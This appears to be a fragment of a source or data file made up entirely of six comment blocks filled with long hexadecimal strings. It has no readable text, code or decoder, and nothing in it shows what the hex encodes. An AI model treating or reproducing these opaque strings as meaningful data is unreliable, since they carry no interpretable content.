6bfea7a5bbd040d97f8fb89ea0cadcfcaf1cfc4155a5a685de37cf423e124b659624520897e187fe531d9a9896fa14efa1f751386be8c2f293ba1cc5780be5d501a7bffe2486c411c4cad531b839a9db08f3a719f7c5c15a6c17afc37149402aa5a27814b24caaa07a2dc89f033cc32231c8f8b646f3257fb6dacdb2140d5ce04b3257c2358be117329cdfb1d963da8810192dd582280cbfe24e13f6165d9e8770ebb26cdf712fe51903ad05c99289f15aa8d3fe40bab0e9343ac063ef399ba8d79f02e0b0ee4bbaa8a44d9be89a42cbcc1525a4dc4ec307a13c3ae1180953e32d672a96f9121499011980ad83ea47cdc06175680e2f4910459be9eef794d6a60c76694cbdf34e1d81d2fceb9e4880322a9a6ea38a0b750ef86e69833c5a80ce79c7026071fd5ff2d358538822366eb6da0c6e21f81a1a869881517decbb6f387b3dda419a2dcb6a391d42d7d1b00d8aa08cd5c7440240f418993e848722a8ba5b34faac35554f97c99d4fe27baa3f65d296ee2d43f537993c049a94e91f422c8a440b69403a8c3bb5e3d18c3f18f16cf68f65ed4886078b6c1bbec3c565ff13751916ca579849ae76c1812edb1091209c4337e5ed5511897d4589141d9eed04a724265c2a943d02e12a10e0acb47702be97f0a923720093b59ae539549f36367c505698d522ee81aa9323c892259e7f5c08ce4c0313bf390605547cd0cd895394c6dda13e9ba6d6daa019349e7f7b158f8cb1f8273996ec3b94f78ffee186a1728d6e722a417bc7ed156b5639be7c6d01f54f4fa27556733eade0fe5016a508cdcd0d23ea78d38a890816211433ad8996663944967aedfeee330f05056adb754943d5451c2731ac0b8247011c92548a1b8f58e630364433ef5258021632b8e72828acfb046061d023da6d6a529b9f6ce0b390ceefba80bd407a99fe322afa44bd434bb4718c75808d5dbb362bd98d2ac715bf42c74164984deeee3300a8c497c8289ce90c592fce57e180d0ff643c9f7f2ec688a4a6c0a0019dec2a9652e222a0d4de40243e3f8b47c82eb2f6e80a70335c243f7bfb136a54a2903ce9e9b5ac17dfec5de6b6fa7dbe94c6b4a4f1b76713ec09e0ec9f17fad8ff617bb8c4806d783b3af172d78396f39e620355ebe9ba8261185cab5d7d712bee83885d4c86ffec7dcafccba630ea41b365c6ad2efb80af03eb5c06f8e70c83e7ec5cf2217aaa5c1936160a47d2537c5d4c91a7cf465b1e0a9294ba1af2dcf13d5f989bd87eb3d1ad28e3c1177b937e52031a263d8fa75b9db6d6f2d80d544a7e7aa8bedd116ff6f39de1416e507785f32b21b4768ebdd380490c06c823e9bc841b7a71d5c22b9d5707f13c4c3a3e12df4731c57201a6a188daf41ee3e69eb55547db90e0558ca98a9d114a1bf69c668160efc0aa8bef0de54066ad009eb3224d966ce8697fc3a67660c0dc89cfa8724dff756f81371036940b606f7334775958442809519dfbcc6bfb9ed58bb419e4ecbc289633a4615fc032ef06e168e7746f4bf6d33f93264ac502605ac2114320e7f45009356cddd77965c1a9c79223b51c20812ca33866172882644048f37d0209292ab1786a5cfb9c3f8feab748e67b3f06c1fae3554553562853771c4c74f1eecdea767ffe16e92e15aa82405b009e1b19d35503f09b549ebf18177d1c4d0086b7302cec6225ebd196bac8e1c88e2351c068ad64f4ff7b63ae056f8cdbd896ad05b173b6ab9561af7ab14a3639ad01ab5274418f6d71a17d920be4aa2645ea82e22329d8577bb152f71a7446885aa107a3fea7a3be4d31eaae55294ea2eb7b718f79242d63a3df33a18f0eb7a8c602b0c059fc563eddb1d201127fa2aaf7ffb0a0597d393eb009ac154cc9491944e82c70055292766152b54c3762066d2745210c0ac3c933c5e6ed3fe3*/
/*6b3110f8abaceb1d34eb620f272e92431baced2dce4f47d74728832600e5097b15fedba8351a6f903df3780f7e6d1a2213d8a25c5b517c7e00bc3885f554d9e95de7cff48f256190fcd4beed3cea571f4e44ddd60fd20e8cd2169b9ec4ea016d9e46004c666eb1c5f0fddc4863a2cd6f87eb6de86c33f2061a148970f7aa0ebed8b5146ecb351243a33373f6576b192187e6b8e7b48485fa1d00892836859e953b67d4ec78ed6eac253815716679da29b4738b1d439a866eb0f4457fdf34a01ef32d3bad86db758936ab2ee864f21eba56112e0c289cdd6eef1e4042ba71862bc15e3dcc73d53fab191158ea9b2f08da4120359b7aaa5532d19b696816fa99520dac38ed3989d1ce4764b9907cb91f515f87dc2c34fb3d7637a37e83f327c07b12d07384610bff2bd147bd27e6fd575ef7211ae220db84bee04d07ab9530e6903e3a10bf7e9ffd5c30c70c9a9f5f872f68ac6d4b8fd618d425f4c9c81b4dd173671a5c661a26533d06d4b3153ba36af914da8a4c8eb988ae6a5255deb03cfc427f6c001cc90a2b9f263d080c7bd9719a76657e7452b927874c73c9f01fad951d9cc4f1bf9447b526194f64adce7ee975383ed365f2cbe7a1d7c35e539b05cb5d740388d0d2248ee72bf5325b8f4e5dc2b7960dd180413ded80cf5bbd6e9b497ed84541fce0db9107a4c73eb5f41498fb3648f2243a4a4600d33def7065b046614745243bd6476766cf8261714e9ebd29f207b907411c6fe927fb2463c83efb9b0e779d73b7f1c4cc77f1c38bc21d3fba2cb0dae3cefd124d5e389032963ee220f0377fb95bfe8a3b6884459e1019324c7503d862c97d997e50d1175a842f281506e6e4b3f39964ceff9e790cb38382b3f7aba5292596b21996fdfae75591ed93448e05e2d880e9a1ba0628268c6204831c6482ceb797a9bda2a460708a3fe1b5e4c4139576609d21a0b254bb236e0eee695cd98e803d719359c7384da13ca7baf3c6dafc5640474764af00aeb79408e6a4ccd2df715c69cfe739f2449281ab7bcce018021330cc826a37bbc23f1142081f910942d0c437cbf254a8c8f00a6d00dd430c8defc36b9e510e045ae30bd01e2cead577b982ae2bdb4884cf9ce7f6c7ba4742a49b81f290991987fada62a1ded0ae866a4cb2c1ae52dba17226f624d5643846ecb301e214c6d573677445b1bdd5d533cec9b4450e1931b317f4bd10c6f72220af843a6fed040b53cef470f7abd4425ad73127042e898644916acdf340de5808f451849953576a2ddfbd237e121bbc2b80b7cd1484305f02c7aa1e9b0063817ef4bed78faf65fe8ae3a0027b1f9d2db7372c6389498dacdea5bd51c1127d916f3f2ab0f82ef17e753c19825bc210d0ca186788ff9d2a6acb770c3dd4e96419798e70168dcc18829dea789050b8367febc53e6e0cb83eb811585577cc68d9cafabf310723108e799f3dca180d4e1c917ebc73bb128f563c5f22cd45be1a3a3ae4b0f4dea0645f86d4478f1adaf6ea4979c522f0cb6fdba762a3004560967efc656246bbcf057f9aac10b16e912a63b2d5c43d8a0c02b4e499aacff29eb5639db35b3a8bcd60279c4cc169dac49fd9826f932f5bc1f6d3163ee19008571e016342022a3af3e8d0d7801b3fcea82dad9b7d52252d5416c65f85be925c7232e1586989098ccbfe94e5730881942dc0e89b9dcbacff534f9e58b007f8c16ae32d8207e0be0c7426ece1cfd6e4b75f4a03f8544b75e775fdc4d233b82ca08b7a0529539d5229926c72bc5e4f124eb5de21681fdd13ba967ef4af423c7ebffc6ea4456d154561bd8f368ea1c0df1b81a30961e4ac6931e4f8004c8212d97c851dfdde121967c37314ffcbba24cbc8f2d783d2314e4df7218eca5b346049eeeb673660c5a879a007b43ca2fbbf3d38672c8d13ca3861cb551612f196df64dba8cf682d2aa5ba69cc46dcea12108b101267f40d5b78e2a852e9a6862bcdcb7f89f9146da38b4164251193dc725a8df8b8ceccce26148295c4132321cd22f1c55ad5d95c0310eb7716b2fcd2fdd01fcf593a8e794a7f3482ce20bc70781f60d1c47de51660507e5bbe9c8ab8730c1fde1407f644f390198c6b166abd6503cd3d87db972e3b919b2940214660d137c90288b727422eaf091fbad465980c3850c75f29105ec23b13df05b11405c223bc4591e1a27af3426194963b1fc888b23cb6d315c8ad15346268963fd6a75e302bc0ef413cfeb5a2072654ae8a4a5d427c78e296e0673983f06459d8bff750d8c047d648e815dadc11e644a989ec77099cd8e2295bc27c9c1f01abe3564002f07cc6a431b12306bd1a0f778624092e4393f57ae02440fcf2eed76e8d4656f760a59adac7f2ca0ceab6a35dfd57b9f5e460bfd4e1a13efdb5895f4be853acabdfe1365e7c9e8296e5f0df792d54f55dfdfcc1005e009eb018a0622e0729b1603dd2bcc1e143989c78c43f8170b94399d855e1eb325d552ca930eaf59ed1175e3d2ddf6f83e3c287cb13d545eabc5e3856938ec9bb341eb95466a871ea79c5af341eb83a9ac2497bd90579160521de6628c37e619df76883b333e2d36b89eebd2e720e69fc803cf34d5153005a08d91ea897c87808ef45e8f7e3896cd0ac8deac0b6d59bb8734bc8f5f1b4b33b1a9ebbb4e6db179d13ae6ceb3d8c40d368d7a45aa152dc170a42a23c282ca253635cb4b742f0d033bd6b9f6dd78b35991e7c19a570a7ac1929c4b683c8fa77686a611b4afeb1d591d076a6d075bbc342d93953718e802c4962455fdb626ad7b508d4cf92908588e1aae181dad1462b3f871517a5ba74f6bf*/
/*30d2d984427cd300a7ddb37033b3617e0743ec97fff9403b3d065182d0abbf0578b9f0007d7eba7d7f653269352cfbc155729ce2f70fc3cd690183fb2d5a6354fe410e688a29ff542af774adc16b511b51cf762a1f8b709e6ec0e9d296e42dc36c3615bdebf608a184a26b792f31c285ff8442494125a8773629257547d84db10bd89ab5698415ca4890bfb7be8aba9df792c8752615e0002f55f298250d705dcab4daa4c87531111f4693c4ce25b1722c8de88e3e82a155d1796b4a75ecccac7972e55d016aaed34a36c23e180a63cc1af75b28ff5f5f584654a3571f2be1c1a82dd49a31cb0342bd376136d0bfa6d94a59f2afd19bbba6077f7a852c8be9220d2c44c0f4e7bf3406a7e2cc4533fa54e0798d8446f8460a002d1c13487c845d3ee452df27eedd4b2c902dc87b2fe7562d0061264f35964d5c9064709802f3d2df174d4a3021c9fd611703fef7ec75fdc3d204adbb09be61ada77805a79e72536b18916d5152e0f382c8236739c9f0f7b79f4d39b8cc7f9aca308054873d2f82c4ed5655e06980a9c06cb9b9da08a5f9d950f5ff2c526395c243b9ee6fe1167af1096836774dd8509baee3970ac55a458ec2eb443026c09ecccb12d5e3a270ab74215f3c56ed101e09bc3f9f24f6e80f9c5d5a6026a9d75010baa10643a8803352ba3430020d4fd42afe40bd1c090c92306e445f4ed6f5d1e945032558afaf6341a7478519020fb12d90442c8762e9823be8c4a9a32badd001bfc1c564b2ef2cd34b014faa6d70667c144b3aaa6adfa6dd7b903200051187fc40f7267ec0732492c8fd16278b9280e847ed4c4df049639dd9a98cf9ae05c3f95866bdb1c89fee2ea76c58c2308a834428ffe5c619e1843d79a8c10bbba7d3be3cdf84093358b25575e97087ed83a07992b17eea4a98de7a41f7512fef523dff14175703ee78a0ce3bc36978bb47a9e1b317e0776d74d8e66a63747a178e0d6637eee85f11333efe8b07d1c77b4ee2adeaa039ddea719210d86e27a1a6a6d330171718b28d06c9648117d3a8436226dfeedd6914c3572e5a6f609e067d99d6e3b00dda986adfd28f01a9dbbb7d1418daa17d2b4ffed9f9b7858b8f914240c7c145ac34adac68def196108b3c76ee52df38bcf1ee1933c26260a8e84e46f70311db5840f2eb4bc64d61e7ab509d9c55eaae3e2f3570c28ae3650a3f14bec6d18179086158494057e461d1f17a5d7dc76e0fd41aca3fd32681547165634262acfda28487e6a65609900a2735dfdad2094d5fee47f128bf709c4e4fcb48b86328f25c688333ac1a38e26577e6f6444043f75f1d3e2c9fd9ece181999ce359146c7a17915ca995cdf03f6ee501fd22cd12ed76feecd3356a35d96abf626c7b011bee9bfc7ebd928b8e03da8f2c50e3108834e74da150b3540e2bb17af70d7d1568ffb5d8d3e6631c03242066cefc16e97e0844df58545dbedb8b8492041a41155113ba36c5f478277b840bb1264e19cb360b3192846ae384c9f7272e22803df068103c47db98e75cc31ec1c30fca714866c0147a1c9035418f058523568a0fcd4d64b28856a1ab69138c33849023ebfdcdadb5083e51036c13ceaf815a346fa6f6f5daae2518df8eba3e4d17dc6133501de0d6bccbc5dcf9b60d4e4f6ad2a80ffebe8f5e49bd61dc96706c566ec25f95dea8ec6f8f7d071faecf9e0e784ef2ac2e1ecbd58ce4fa2860720116dd5bda1c891bcb29f6804806ab9f675227ad90c9cf2934dbbe894d95d2eb69b04c2daa91617b704bccd61346af862db5149c098e2393a172679b1e74d7cedd6f8b8313046cd12c9b76dab96e250b8831a91ae8e8e6879ececad4485008f078e5f702088b973e7d0092bc6ea7cc085576e8b263507bf5f0bd58a0b33ceb1813fd8594726f039775339af90e6491121f44483731d8f944c7703b921a02f4cb3a3d25ee61910530e6384449777bb28d43ab3180a0d699e1c3686bd225677d67b27043f84ddbe19af1bb43c2ac91cc2976e3731cd51fec990422806c92b13e510122031d12ec98dade3062edef87f02ab4dd4615f0f3ff49ca4421fffd6bc37fad2890f110fe9070e049cbe48fcf1ea757afd6973371982f1f6c27b19757d559543a3dbc8fcb346f793b00c4dadcbe4e7a30bb0696735cc12da1f2cf7ec957739a18114967ddf00229febedc5f70e4ecca92a159c08d51533e4dd9b9231b00a9e1df6b18b6e6e4f9fce1a948df174506b4dc9f81d95ae5f15fb74dec98f7efbce0c02491f7ac24383e32b801291c13727d33a4207156f11c04a78eeceed72a8136c75c37ef3c4ac5d8dae5d0740e09f99a6d449e316a8dbc3c9530b00b648d759db0f101b17ed7b168c820cd97d04365a0e12cfb7e18e72c1d68f23e88006fe08b836c214957b0aa39e39542503e4f8b4cf06dfa4fdfad1f72bfe807b55326d2fce33cb4a42c7cefc6a24f6771930aa964b351ec7959ee6d641b40c793fa9bb50f04ed15678737446cff49355b2698d22ad3931f54469072fcaf50eaa36d7f5178f64f3af48f19e1f7a7499252a5729c04c78d1fb0c9180c838a98ce577cd8678bd4a75f405908121980ba2a3fa66aa65df8001cfdb1d9f45d8f47fd5454d4438db95b273c644de673a507453c806e68d8f582de48d70fec17eb7ebbc77daf642ee84bb2e6494b47788f244404e70c23a337f2f43340a771ab8d07137a76d7f65116afac3ab8b8e8392666009f77d04dc0c10cffa80527ee0ce98e1e677fda6b34a364f6717f02b013ab5cd577bc4efce0416c7f604b5f1fce20372e88c2eca37eaee08f305bc3283da5a9fe3a7274*/
/*44c2377201b4325ef0179fd4fb3a6dede7c48b7fb64bc670ba60dab3ae5f3c7e5a1e9f09185b2e838e1bdc893a826d57e1d7a9844c2000d192c752af4c0627bd548e4f4ab04693fa4c3d60c1a72c4f4f3d9f238830d0998ea80d844b52b5fc8f0f266673e4c5a44905003a84acd360c6928b320269bfb46fb0c04525839aed48310a3c5bd8b6a91c6adbcb9e11278480670291276cc231f0651c98c8bba2c8e0956596ff7cd4c7cb655ab09054b69899059d9bf374d7c8943b5a0f10764ca3acbc0e2cea1c27e72421e5678cc73d29f4e6935722ade83e45dcc223d2c46ad92e46a29aeaafbfb78fdaee21ff166bdde81659fbc601e84fe90a68d4fc9dd3f8e928a70af23fea469262fdc7007cdc29aec4cc5588dfd2353144b345c41ae5d5b4845cee88afe8886af58dbed3a0c70f424638e367d603092eab3a30f8b7b4ecdb552f51af61ead5f93c9be6d1aa8242d1c507dcc69f7347edcae083f89a4de5be2a6fc9099b8f86860f3bf1295a4844da96506a5070c835b23f0807c5dd3f70c5b356d3a41e054e13de3138d1690ec867641a8785453284ea27ef2ac8a6e4edca63c8fd72e7dc97ccb8461c94348679f8d35a3474813890254d5aa5147eee3197e7d90198bd9e69d0e0201763a0b73db9f3b6de3fc7f5795b11363b369e2a1199f182d6af417d32c57d85617626dd34d2cd557184eafbcf4a7d33effa089fbe936054d76237e3b5df425df5647de42aced909315ace124bf1772d92fa25dc06fb4b35791d25b7bc2edcbf6c20b644344edd1198fe4e00c831432d8109b1bd3dc29e5ed9333e054df13badfbe272394fb758cb41fa2f032c48a11069c28ec81e1b661dbbc893cd8cbe5cfa1c9c22fe16869955e3e41d3fd72790aa0117f0fb24f47523e1162efc5808983ee78395725b9bf57463c479f1ca2d9a2fe48e8decb9bd82aa3a7dae7aaacfe4f5f700546b7ecced20114fc26068f518a659372624e0824c712333f9b6916fa61df22c2a43e3516f5871fa1505fe7954fa7e580a6071602aafed36932fd4601d7eb093f44ca0b7900b3ce771f09da570ac485bb5ba006526d46bd8a9322133c391954dbddce8775a23850b818ef3a327b4028dae554719a78700c68d424ac55ed063a308cf9a1ffa28a00b48893d1af2d2608478c3a87f2ff7c9810effee927db40f2384aa68be8e262b787937b4a360612e33d59e27d2062653747b9d43ddba35366ab23e20554d602f7f4ebf5666aa2618b6323d7ca4bc0052ff96136dc4dd1a627e3a823efcc2a59727eeab432680c66e9d5ff14a734c77cab35ebb081e0562a572af7c4e5e26ba55aeb6f30dd402a2598c965a87f64c759debaef860f3c34b78b2dbe8392f17b3e35e82f9ed9306b3047790e056f47a3907f0503f1560cf263994613a9693820ce9f4c0f44a844edfdf0c38da950c70b1e35b9f17b1412ae793eeb6a3ac6e3bd0e763ec5bdf1349d1765907330c5e2283ac5f1cb95c712f64f5502526e206ec5df95fc146e1e9f1d2bbf53fa9bfead6c1fe0051470f7cfc9d2ea1a10de398cc620444469f6b352c6e762a5043794c09343f37823d5866cdeabbf92b7b87a4882a68d8eaf39bc3e5add0c147e2287cade49f1d847b197bbe85a5ae9f7b40674c0195d9d45ab23338220296840194fddf750d018177f6b017d6997438c1c9f5843a85ff04dfb8072091f53ae86bfe8dd9079be323ab97adeffb42df88ca6bd656199da0e3a6e449774de26cc87e2cb5570e1b74d9ea6c3445f642c3f5028ad3c85aa0edefbf9d067f8a00d3c4f6b5455ef2d4d6e8f6d34f2f404b789ec816543d152370a5b6414e73b1c1b057fc0d89d2c7e084e340a5eace9eb66977b4450e8a47c35f28dc4bba649f9bedd1149c6fbc9fce3c9b3d8796b787368c9aa0a5edc2eb50f300d354d8facb8498a480dd153534d320e8e4db9713daac535fd4b3f384d7545cda8669d998089499bd39445ebbe3343a95d2d704287103f1f79c9d9f808d1346d740d017cc87d29d128720702cbc6c8c4df900d38d567e8ca594cd2648d6f6f526d3749a311a7dd6e3caf6950ae84c24f5c8e91ea43a991954022998bf20d580c3706816798ae4c9f9171fbb940801117ed1ee5b0aff0b8fc150257ff81d1a7f6097beb14ce54d83d59f8870470b666db0a167beeed1d5823733002392de29098c975f9f6b4f4246e92183e4902df21d77e41bfd8d2c01d9aa0df1cc6cbbdedacd980e6900f4a573b4c15c4965d66b9dfded71d52993bf922b826ee9d8d577314d4206f3959d0f5c20085a05b4791ae504bff9bc1b2aa0e9229991b85749c1ec33c46c4d3f13d3fd930049f06eebd7d69c7de9a5e308f28a6714b19d5814bc417087f88d543b2a87bd120dc5cfd5f088c34cf731b6f7a97e51a8b914e2800c710c706d32bf51e9691978cdbc42afc321c6f8fb65d314ca5e9a92a3c983b20d28008ac16ec45520c77bbc8c29dc5d3080250fb8a87b5955c2e65b8be19be81d2b503431cc3f38c2ebfbea45e91cb9023d10b7d0a2ac9c97adb44da7a9d526a1e1798a01d674e3e09f5fc233356a81db0457835423e61941703d1bde3a0f9511a785c9fe62d25b65e6983085c0f3208b461d8fc109658c6419da4756a6af56cd245869f25dbe99c3fbc9f4131a74a810156eefa28e3f93206921afddf1cb3a09bceeac047965fee305cd3b62e6c01343ae48f273da05b8de6719d8065996c38e451f93c7e71a98bebccb66370a6495ebf4f0c9db329b88c1eb6a173d622aadb97d892dd5d91a87dd200e6d17551b3f5a1a50b720c1ce3d8f7956e66001*/
/*f6836e599f2d3e0f59bc3c348d0a9227a85c8b53dc9aac9600c02ac65cc75ed1dab3ce635cf6a936b36c6be491bbf51f84ea3827822294c504fea8d281039747aefee0c5562f7cf92d561167ebb2c6b7b7622ddab0406d81394b165b266cb9182c09cc934c90681765194d2c6d6c6d99e6d6ce20f019f3c0bbb25d31830e4b1b0ec4ebc35914b0ddced9ec7f8999a36041bc2b383567410dcb06ccec1924c69d9f034b7426a8adeeb02dd5d9bb98b855861aaa3e9886385668541955b8ea6193828f3a62baabecbdabba54387049cd1dbbf06d3a6c81f951ab01a10d494374e7d1987a0c64c2393aca71675187db5307e78db19c3e058c0119506af89d26a80704bfbe8f7df5e480ab000f46c1d6dc9f0090f9f03068d8cbad3b363a0926aa4cfb8435228030b2a4e9c76e31626e2c201a75e656598209e508409276a2ad9bb4fd9fa0d8dbde5172bc27c2aef3ce0bf4737ceb364d744e771383405c918d849bf6aa8ec6547ff6e5772e71db9ae76887cac3a0bfc546168c463e069a178e4331c84c758c4fe6f6ed62a18cbfdfd8319131f4eebccbbdc34e47bd4a4938244b9212964cc113a0cbbe2b0835645740b8300e5b345e42714f6877a8b77a9cb908635956d4befc15c486b0e8f72f2e4017666a75f4ef3b195a3ca7559a240d885ebe9b16246e1e10061f731acb9978b986c28f6eec8f641c5ee237a990a7714c3ed8dbce8cd4390fc4be6f0de65560b02d756a5d7548da3cb32172a09dbc7e7d69f3ab411c9004e7a3434c0a83ead1667805fe5ac47bf0358da098d9cf2d9f47d0d72ac93dad58d9d3f5e5f8a6102a03249619218b3ac87bb82503b1a64e0c85cbe62798accc84f78e2080413c7a420ade0fd3db7a47d7d653fd57a5996e3ce0963619bcd97d41ff459f8ed205bfcab7df3172586e48b5d9cc4ddfd29cf04904e290895dd9a83fdc887bf72bd6370b0f9ca7185d0d69b7debe25f0acdd9adab917c97bc4be857c76c1ab68275b42e00e08efad764d9c9eaeb10cc3758379949173485a77e83101e6ec511d136a8201f5deb68947b8fe07b91a7a4cbe34122dae453164499392255b8c19c9602fe06b39209ab912447a326c1701b42addfecb747cc3bf94cd07ebaec14d708d5287ba238612e2f8061bdc053fd35534f5d4cfba813cc41a4824b0590d6200d91b34b4391e63a1afbf76f823a69add08021312d4a5a1fc0efd8b653c6bb4544905f8e341b853e5e312e6c31ad3d96d762840c7be66062e858e0bfc79b0a03b6c9b2af05d40aedef207c0315c43ccd7b745d07c8ba16eddf6361c6900a9ca057813e858e5de2091ead7a91d1a1acd32b7cf72a6078e08130845cea1d23c5b7775a3d4f3673f24dbdc44615aaf4c44784bf0c939dc90a80d24f7336b36dd45991b0ed0d7ee3b159b5397adeba455008a02a7a365a30a946ae220e30122fdea62f2ade16b84dbd227ef50fab79f49c63e8bcd647dfbedf7213e107f1b8268c7af62c6323915e8fb159deb18cbede6a655442f9b483e2c8924bb1fb265ffed8b3e7d49704119287a22d55648884cd1133ec563fbe93b09a29d0945b5f455f5fd095ed4fefb282727e45d9d8efa0878e91ba6d2a0dc39843b213f9603dcb7d4711d32b038f268068fdacaa3d2122a8afb55db5af81d7e9a956d0d73df8d681a352c1de3b12d2d31583c3569604af0647b9bbb04f0f31951989009d51115ac5f9549fd510d1a5c117c960e84b05d8af13e2ce50c19c04ab2ee2afa27bea78a06bccd4191b9ec545db287d3e8190da2ffafdfcaaf676e6ccfe78b51394e9519cc5e240416b364d2d9436f1f84fdf6d155caf7897660e188806ea68a2478a0583ca807c3d18028e27fdcdcb658d0d7db68fe08c8313253f72416ceff5fca4963f06718a9be675fc1823452a4cbf41e008b793fa55bb722ff6eb0240cab205028f857c855a58aa3aa379a274f585ba8e10e12e891e28bdcd85000936e934f549dfdbace305da9984fea561eee2ef774af19ef76944517128aac66c4a408eb4afa6750127d2998f636eae754054f41d77dc0c7cf81593ee22c5a6ac0f2f5fc1c5f559e782728463f9368b84e1f8f57637b36887ce82f67fde6470d39931b768ac9f9412dad6009bd98d408b21440e4e2f0d1e34adceac64460fe27e766cb157cfeeb5b73bc611d56fea4ec09857243e15c3ff02facba5e90829868f174a7f7d218379637773bb1840e8bb6c8188b9ab45ee687680a575bba9e5de12ea8c73524ecc8d081d97fbe66ecacf9401481bb927d9a68a558e0f40ce083d38d442c9818c60df58f8b91d2ebdb4ea77a2a8d163f24a33a24bb4fcb76cbf118de91561a35d69054148b7fcbf7f6fb3839e15744fa0d3276602bff04f0879e99c2f230184cd46a9f50d04d5e43303c2330ca224eaf627ae287a5ccf5553a5670243e39938b16bd57d488edd27229ea4025402ec77540cbd1407b9ee9cd3785463f9672ce7eb1234fa72b5d73d3be9b1b9c5986a9b23aa75bcde7c4c2d983cf5ad3f392fa3de28267aa4a0d9771d10687a5f0ceeaf235881cc147ea5b6d0ad37d45874153fc0ebfd11327a069e07afb824cee17d46e61a9a28e63a6cc5ce4492785a93bc5ac2efe43fa86f7f632f4e3e72155c65b1b07a5cacddcd58ab3172dde4058d8515693cb6b80fe460d4ca6e310a4aebf7f2b212bf1ffa8208dfb9a66728c3938bc3ef0d2efeab56957c56eace420d8a18ab3d3ae668783d125d92dff06919e6e6927626326a9491800ba2ef791e45e936615be5efad3222f74d3974497baae4671cee6200b20bf975e470107d9*/
/*be8eff33599423e352346fd31faa1176a041cd302192537f56a907604161747fb9903359506223e8422c79e1c404bfe915dc756590b99396b8661c2ccbd212dc5847c15cd3a92107b62c8d295c33352a615b1f53707d13d13808ddd8b4761250444a4585812a78257639a50e6a9935d685cf003fdc484b9e119954374c65ec100c748783b76c65292e1983b825682603eee2b97c755c2efc232601be9a7bbbfeac984b7af40e4c0b7cdf5ed0e31141699abe579b1d736de332c82182e2e75b9dfe7b32c897140c94a9f1a41cec62dcec097b4d81b51351c4fa8551d6ce3cac91c9056393d97c61ebd3b0e57b54490e6100ee112aa8cadc03740e38fb5b3553bb966f6343843ad66f2d0d617b45e3d06257e7f5b7cb91de3f52918c38205a205341d71fd824ae09c2eeb2a45ae9754fb75e31a4d457152acf5258066d16b5c219a431f926299f3581d4ee89f919ddcd9e3ab4de7429aba51c25b218ae299a0df54d35700f0c5c98ce42932884a72e6af23b966a2bbf53da61241a37b2aa62c4fd2315e05900d4ee252faa5981493faacdab397c3637b58bf435d2702321e93bd315cf3d8b947ed515c19acf518bbdb7d6d553bd66b1f2e6c274b5e133276cc84765ff55bf083a6b96e95ecf37e2bf7934b8421edeb535002edc4f87e9c2758b13d2994e4abe28b77e9dcd90dde0c1c805dae55eed44d8c907047e623f827e28703d0ecb14143c3864be81a41ba9d62a0ddef45681fa8f144482f9cca9f6ba9449224df6963f0b04073e9ee1f9f5f05cf0c563984bde4f3dd801b3136dd069072a4758590c0e60e0cbdd51452e0efad44d7f8f5d80472a460fd2698bccd9568dc941425da603b89835ca5d1423ab30c82fe40db5c7c36e9b574b699082a6e0dbce601049a016be1f00801e100150bca1d76d5a6df4f4c566c9c73bd6b014295e647594d438d50360858afc5d9d6d4a01d7520f09b0d931ad0094ae47f32b993987b035c5ac38df7e089517e1bd284352440483119dc46c7786c8f4f1f7df1dc5a1b93401e84a591827444eaf01110eaefe3476eab2f5b9b28bafca9d1f399d094af56e5f7cb43915050ff79f0de180afb3c2b9e52bf84e11c9f00ae364dc7603880d7d33ac1babdc8855ce655e7cc03a32700a1c0f233cff766fb38034fa3c45dceaf60f94f1e18acdcf24b84ff6358d70066d985956f980b46c86905ec2915857faf0fa7b8a31440f996b4934187e62763eb1d1cbf36648e78d068ad3fb53c005a32e325d963c83db7f2d038852585cf0fd7783efacf7f3d32fd0726b0ae326c25c8d88c59bca7fccbcab691756a5b7062c06cc8af21c7f2d113a08371c025c7f049d3590f24d44b9b91ed684de0d2149e577b4cb1f058712bc17b379c4e11c06bb1a1d1dbed70ebe024b093b3eac05fa82df80d7851b9b2f55f274fd4b5bb324ecc1ba7b7bb414c1820854fe6f61119c4dc06f8feb3675734ed9c68d515cc719551b6811ef9e6895b3ae76009bfcf68063522cfa2de527a400df53e510bc7390a5f9f3f00433508295043128b02cbe1cbd236aa41cb617130a8ae36576d9371ce4db707535e34b53416394471640ad1f019f2ce48ce6452267e20fad78e7ecc77626b78b9ad848340459575dac542ec3a0d2284119b33f3932bb77ba87f16efc8e6ea6d404fca72aeed1df729114ee97ed2ac5fc9fb3f8375c90e15cd82f59739c3678a655fa358dd2c0985a781df70994d3dcd2ba82ad35141bd7b97ff800f492dec5a0f34c0402aa5fbc1ba65f2d7cdc2bb0d6b4ceee318e02979e79dab08fc38f76f79e3c27ce4a741c75e6915451ea8f4b1c51843a72dc8307acfa98b91e3fb7dfe6cca8ae7f36d40b3839abb441457db90bf6877d8c0a50c43d674bc0adb8efeaf61f35f12191224a11c7704d9d1d07f8f4a9fba6702b1676f3fcf02bc419f9c1a9a2202bf9e1b20d3865fe5011d2946dd05d70d08b2f40e8ab54f5e47a1eb69dc69f752087ba8fab4e4761badd8e6c47bb00413eda8d6ed49afcc693a130272e59ac2fd8299f8b8162dd7998c5b79ed507672f3dd677f902a5e8d00e7ccd9aeac31e640df91e2cfb9e27dd90ca937e0debbbea1faff89c9d52ef293493d1ac16eb520568d3560244ec5dfdd22b1e88f6449b79f3767345d2ac669f1e923e535c05e64521a98ff1133429b604ec0b5bd7292ec05349d07b163cc1cf61feae929ddf7f708f8dc2db895a6e02d760fb953a778fbf60428fe2fdae3b898d1c36eec98dd9f12b05eedd5e6a03559952b1d54e25260e122911fed9e570250da36845785a4f2f2803784f0d2b2590563c95c282b619b37ac81938671ae4379ab4b1b556f89445cd79d8907d5e2a40531f76475789de307979b78098afd401f94b7502b057081853fca3b91a5c203f2163b0feb453b260b08d01e809e018c4bf1de15064aabb13752a19907cd45513f3c58d3c184909ccbf5f504ad60d2a77dfd86671d70de5faf2ea2cbae6ec0d714b3117d432e9865e322ed47d8c6da60dd593b76a32187bb866bb935f6fa8a5ccf725ebc3f46fa13393fff42d8f1b734697d52092b7c1e077f9cccf36eaf693499b010a318bd6b360facf9c426ea5ce92b9d110964354b0e13a0e8747d2a53bfe2d09b620da2fe202c43e453f4b66552103ff43c363be7274781af90884941dc0dfc5dbcd3f6d809d8ec40c904e8e434e3d863894f7a0f5cd33b46ad0193e798902c7a81b482d40585a55061bf3cceccc65462361d69352ffa7f3436d6da48724504d66033606ee11dd6a5ec055d23f8d61d6e9a8735909ba5540a81ac8f13cf5c62b*/
